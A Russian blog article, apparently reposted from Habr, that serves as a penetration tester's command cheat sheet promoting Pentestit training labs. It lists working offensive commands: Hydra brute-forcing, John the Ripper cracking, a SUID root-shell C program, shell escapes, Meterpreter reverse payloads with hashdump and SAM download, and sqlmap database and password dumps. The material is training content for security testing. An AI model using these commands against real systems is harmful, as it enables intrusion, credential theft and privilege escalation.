- PVSM.RU - https://www.pvsm.ru -

Корпоративные лаборатории Pentestit: разбор кейсов при проведении тестирования на проникновение

image

Корпоративные лаборатории Pentestit — уникальные по своему формату и содержанию курсы практической ИБ-подготовки, разработанные на основе лучших практик тестирования на проникновение и анализа защищенности, по уровню содержания сравнимые с материалами хакерских конференций. Вне зависимости от программ обучения, их ключевыми особенностями являются актуальный материал и практическая подготовка в пентест-лабораториях, составляющая 80% от общей программы курса. В данной статье мы продолжим разбирать базис команд и полезных трюков при проведении тестирования на проникновение.

Справочник пентестера часть 2

Данный справочник представляет собой список команд, которые могут вам понадобиться при проведении тестирования на проникновение. Данный справочник разработан таким образом, что не предоставляет развернутого описания команд, а лишь приводит рабочие примеры. Для более подробной информации о команде или утилите мы рекомендуем изучить ее man страницу или посетить официальный сайт.

Данный справочник в большей степени затрагивает тестирование сети и инфраструктуры. Тестирование веб-приложений не рассматривается в данном справочнике, за исключением нескольких примеров с sqlmap в конце данного пособия. Первая часть справочника. [1]

Поиск эксплойтов для обнаруженных сервисов

Поиск на exploit-db через searchsploit, в данном примере поиск повышения привилегий для windows 2003:

searchsploit windows 2003 | grep -i local

Использование google для поиска на сайте exploit-db.com:

site:exploit-db.com exploit kernel <= 3

Ищите подходящие модули метасплоит с попощью grep. Стандартный поиск при помощи search в msf работает хуже:

grep -R "W7" /usr/share/metasploit-framework/modules/exploit/windows/*

Установите локальную копию базы exploit-db:

searchsploit –u
 searchsploit apache 2.2
 searchsploit "Linux Kernel"
 searchsploit linux 2.6 | grep -i ubuntu | grep local

Компиляция эксплойтов для Windows в Kali:

wget -O mingw-get-setup.exe http://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/download
wine mingw-get-setup.exe
select mingw32-base
cd /root/.wine/drive_c/windows
wget http://gojhonny.com/misc/mingw_bin.zip && unzip mingw_bin.zip
cd /root/.wine/drive_c/MinGW/bin
wine gcc -o ability.exe /tmp/exploit.c -lwsock32
wine ability.exe  

Компиляция для архитекруты x32 и x64:

gcc -m32 -o output32 hello.c (32 bit)
gcc -m64 -o output hello.c (64 bit)

Запуск простого локального веб-сервера

Полезно использовать для доставки эксплойтов и программ на целевую машину. Запуск простого http веб-сервера на Python:

python -m SimpleHTTPServer 80

Запуск простого веб-сервера на Python3:

python3 -m http.server

Запуск простого Ruby webrick http сервера:

ruby -rwebrick -e "WEBrick::HTTPServer.new (:Port => 80, :DocumentRoot => Dir.pwd).start"

Запуск простого PHP http сервера:

php -S 0.0.0.0:80

Монтирование файловых ресурсов

Монтирование NFS ресурса в /mnt/nfs:

mount 192.168.1.1:/vol/share /mnt/nfs

Монтирование Windows CIFS / SMB ресурса на Linux в/mnt/cifs Если вы удалите password то о нем спросят в консоли (более безопасный вариант, т.к. не запишется в bash.history):

mount -t cifs -o username=user,password=pass,domain=bla //192.168.1.X/share-name /mnt/cifs

Монтирование Windows ресурса на Windows из командной строки:

net use Z: \win-servershare password  /user:domainjohndoe /savecred /p:no

Установка smb4k на Kali, полезный Linux GUI для просмотра SMB ресурсов:

apt-get install smb4k -y

Исследование HTTP / HTTPS Веб-серверов

Выполнить nikto сканирование:

nikto -h 192.168.1.1

Конфигурируется через GUI, CLI ввод обычно не работает:

dirbuster

Простой брутфорсер директорий:

dirb http://example.org

Продвинутый брутфорсер директорий и файлов. Поиск файлов с расширением php и js по старнадртному словарю:

dirsearch.py --random-agents -u example.org -e php,js

Анализ сетевых пакетов

tcpdump для порта 80 на интерфейсе eth0, вывод в output.pcap:

tcpdump tcp port 80 -w output.pcap -i eth0

Обнаружение учетных данных

Несколько техник, позволяющих узнать учетные данных от удаленных сервисов.

SMB

Сбор пользователей SMB:

python /usr/share/doc/python-impacket-doc/examples/samrdump.py 192.168.XXX.XXX

RID cycle SMB / сбор пользователей SMB

ridenum.py 192.168.XXX.XXX 500 50000 dict.txt

SNMP

Сбор пользователей SNMP:

snmpwalk public -v1 192.168.X.XXX 1 |grep 11.11.11.11 |cut -d” “ -f4
python /usr/share/doc/python-impacket-doc/examples/samrdump.py SNMP 192.168.X.XXX
nmap -sT -p 161 192.168.X.XXX/254 -oG snmp_results.txt

Брутфорс сетевых сервисов

Hydra FTP брутфорс

hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f 192.168.X.XXX ftp -V

Hydra POP3 брутфорс

hydra -L users.txt -P /usr/share/wordlistsnmap.lst 192.168.X.XXX pop3 -V

Hydra SMTP брутфорс

hydra -l user@example.com -P /usr/share/wordlistsnmap.lst 192.168.X.XXX smtp -V

Брутфорс паролей John The Ripper

Взлом хэша со словарем

john --wordlist=/usr/share/wordlists/rockyou.txt hashes

MD5 взлом со словарем

john --format=MD5 --wordlist  /usr/share/wordlists/rockyou.txt hash.txt

DES брутфорс

john --format=DES hash --show

SUID

Часто бывает так, что уязвимый исполняемый файл имеет SUID бит, но внутри самой программы эффективный UID меняется на непривилегированный перед уязвимым вызовом, а нам нужно получить шелл с правами суперпользователя. Для восстановления прав root и получения шелла можно воспользоваться кодом ниже.

SUID Си шелл для /bin/bash:

int main(void){
       setresuid(0, 0, 0);
       system("/bin/bash");
} 

SUID Си шелл для /bin/sh:

int main(void){
       setresuid(0, 0, 0);
       system("/bin/sh");
}

Компиляция SUID Шелл исполняемого файла:

gcc -o suid suid.c

Для 32 бит:

gcc -m32 -o suid suid.c 

TTY шеллы

Примеры создания TTY шеллов из ограниченного шелла в Linux, полезно для запуска команд вроде su из реверс шелла. Python TTY шелл:

python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')

Получение интерактивного sh шелла:

/bin/sh -i

Получение Perl TTY шелла:

exec "/bin/sh";
perl -e 'exec "/bin/sh";'

Получение Ruby TTY шелла:

exec "/bin/sh"

Получение Lua TTY шелла:

os.execute('/bin/sh')

Получение TTY шелла из Vi:

:!bash

Получение TTY шелла через NMAP (старые версии)

nmap --interactive
!sh

Metasploit/Meterpreter

Windows reverse meterpreter payload с обратным подключением:

set payload windows/meterpreter/reverse_tcp

Windows VNC Meterpreter payload

set payload windows/vncinject/reverse_tcp
set ViewOnly false

Linux Reverse Meterpreter payload с обратным подключением

set payload linux/meterpreter/reverse_tcp

Meterpreter Справочник

Загрузить файл на windows машину через Meterpreter:

upload file c:\windows

Выгрузить файл с целевой Windows машины через Meterpreter:

download c:\windows\repair\sam /tmp

Выполнить exe файл через Meterpreter — Идеально для выполнения загруженных эксплойтов:

execute -f c:\windowstempexploit.exe

Создание нового канала с cmd шеллом:

execute -f cmd -c

Meterpreter покажет процессы:

ps

Meterpreter получит шелл для текущей сессии:

shell

Meterpreter попытается повысить привилегии в системе:

getsystem

Meterpreter попытается получить хэши пользователей ОС:

hashdump

Meterpreter создает перенаправление порта через целевую машину (pivoting):

portfwd add –l 3389 –p 3389 –r target_host

Meterpreter удаляет перенаправление порта (pivoting):

portfwd delete –l 3389 –p 3389 –r target_host

SQLMap примеры

Автоматический режим:

sqlmap -u http://site --forms --batch --crawl=10 --cookie=jsessionid=54321 --level=5 --risk=3

Целевое сканирование:

Sqlmap -u TARGET -p PARAM --data=POSTDATA --cookie=COOKIE  --level=3 --current-user --current-db --passwords --file-read="/var/www/bla.php" 

Просканировать url на union + error based инъекции для mysql и использовать случайный user agent + получить dump базы данных:

sqlmap -u "http://site/bla.php?id=1" --dbms=mysql --tech=U --random-agent --dump

Sqlmap проверка формы на инъекцию:

sqlmap -o -u "http://site/form/" --forms

Sqlmap дамп базы и взлом хэшей для таблицы users базы database-name:

sqlmap -o -u "http://site/vuln-form" --forms -D database-name -T users --dump

Определение типа хешей

Удобнее всего использовать утилиту hash-identifier, но для наглядности представлю несколько типов хешей визуально:

MD5 Hash:

8743b52063cd84097a65d1633f5c74f5

MD5 $PASS:$SALT:

01dfae6e5d4d90d9892622325959afbe:7050461

MD5 $SALT:$PASS:

f0fda58630310a6dd91a7d8f0a4ceda2:4225637426

SHA1 Hash:

b89eaac7e61417341b710b727768294d0e6a277b

SHA1 $PASS:$SALT:

2fc5a684737ce1bf7b3b239df432416e0dd07357:2014

SHA1 $SALT:$PASS:

cac35ec206d868b7d7cb0b55f31d9425b075082b:5363620024

SHA-256:

127e6fbfe24a750e72930c220a8e138275656b8e5d8f48a98c3c92df2caba935

SHA-256 $PASS:$SALT:

c73d08de890479518ed60cf670d17faa26a4a71f995c1dcc978165399401a6c4

SHA-256 $SALT:$PASS:

eb368a2dfd38b405f014118c7d9747fcc97f4f0ee75c05963cd9da6ee65ef498:560407001617

SHA-512:

82a9dda829eb7f8ffe9fbe49e45d47d2dad9664fbb7adf72492e3c81ebd3e29134d9bc12212bf83c6840f10e8246b9db54a4859b7ccd0123d86e5872c1e5082f

SHA-512 $PASS:$SALT:

e5c3ede3e49fb86592fb03f471c35ba13e8d89b8ab65142c9a8fdafb635fa2223c24e5558fd9313e8995019dcbec1fb584146b7bb12685c7765fc8c0d51379fd

SHA-512 $SALT:$PASS:

976b451818634a1e2acba682da3fd6efa72adf8a7a08d7939550c244b237c72c7d42367544e826c0c83fe5c02f97c0373b6b1386cc794bf0d21d2df01bb9c08a

NTLM:

b4b9b02e6f09a9bd760f388b67351e2b

Заключение

Чтобы успешно противостоять злоумышленникам, необходимо хорошо знать методику и инструменты работы, что крайне сложно, учитывая их стремительное развитие. Программа курса обновляется каждый набор, что позволяет давать актуальные и востребованные знания и практические навыки в области информационной безопасности.

Уникальность программы курса в подаче и закреплении материала — 20% теории и 80% практики. Постоянно обновляя методический материал и добавляя практические задания мы стараемся дать наиболее полный объем информации для того чтобы участники курса получили исчерпывающую информацию о современных угрозах и методах противодействия, открыли новые вектора развития в области практической информационной безопасности.

Ознакомиться с программой курса. [2]

Автор: Pentestit

Источник [3]


Сайт-источник PVSM.RU: https://www.pvsm.ru

Путь до страницы источника: https://www.pvsm.ru/informatsionnaya-bezopasnost/251778

Ссылки в тексте:

[1] Первая часть справочника.: https://habrahabr.ru/company/pentestit/blog/322834/

[2] Ознакомиться с программой курса.: https://www.pentestit.ru/courses/corp-lab/

[3] Источник: https://habrahabr.ru/post/325602/?utm_source=habrahabr&utm_medium=rss&utm_campaign=best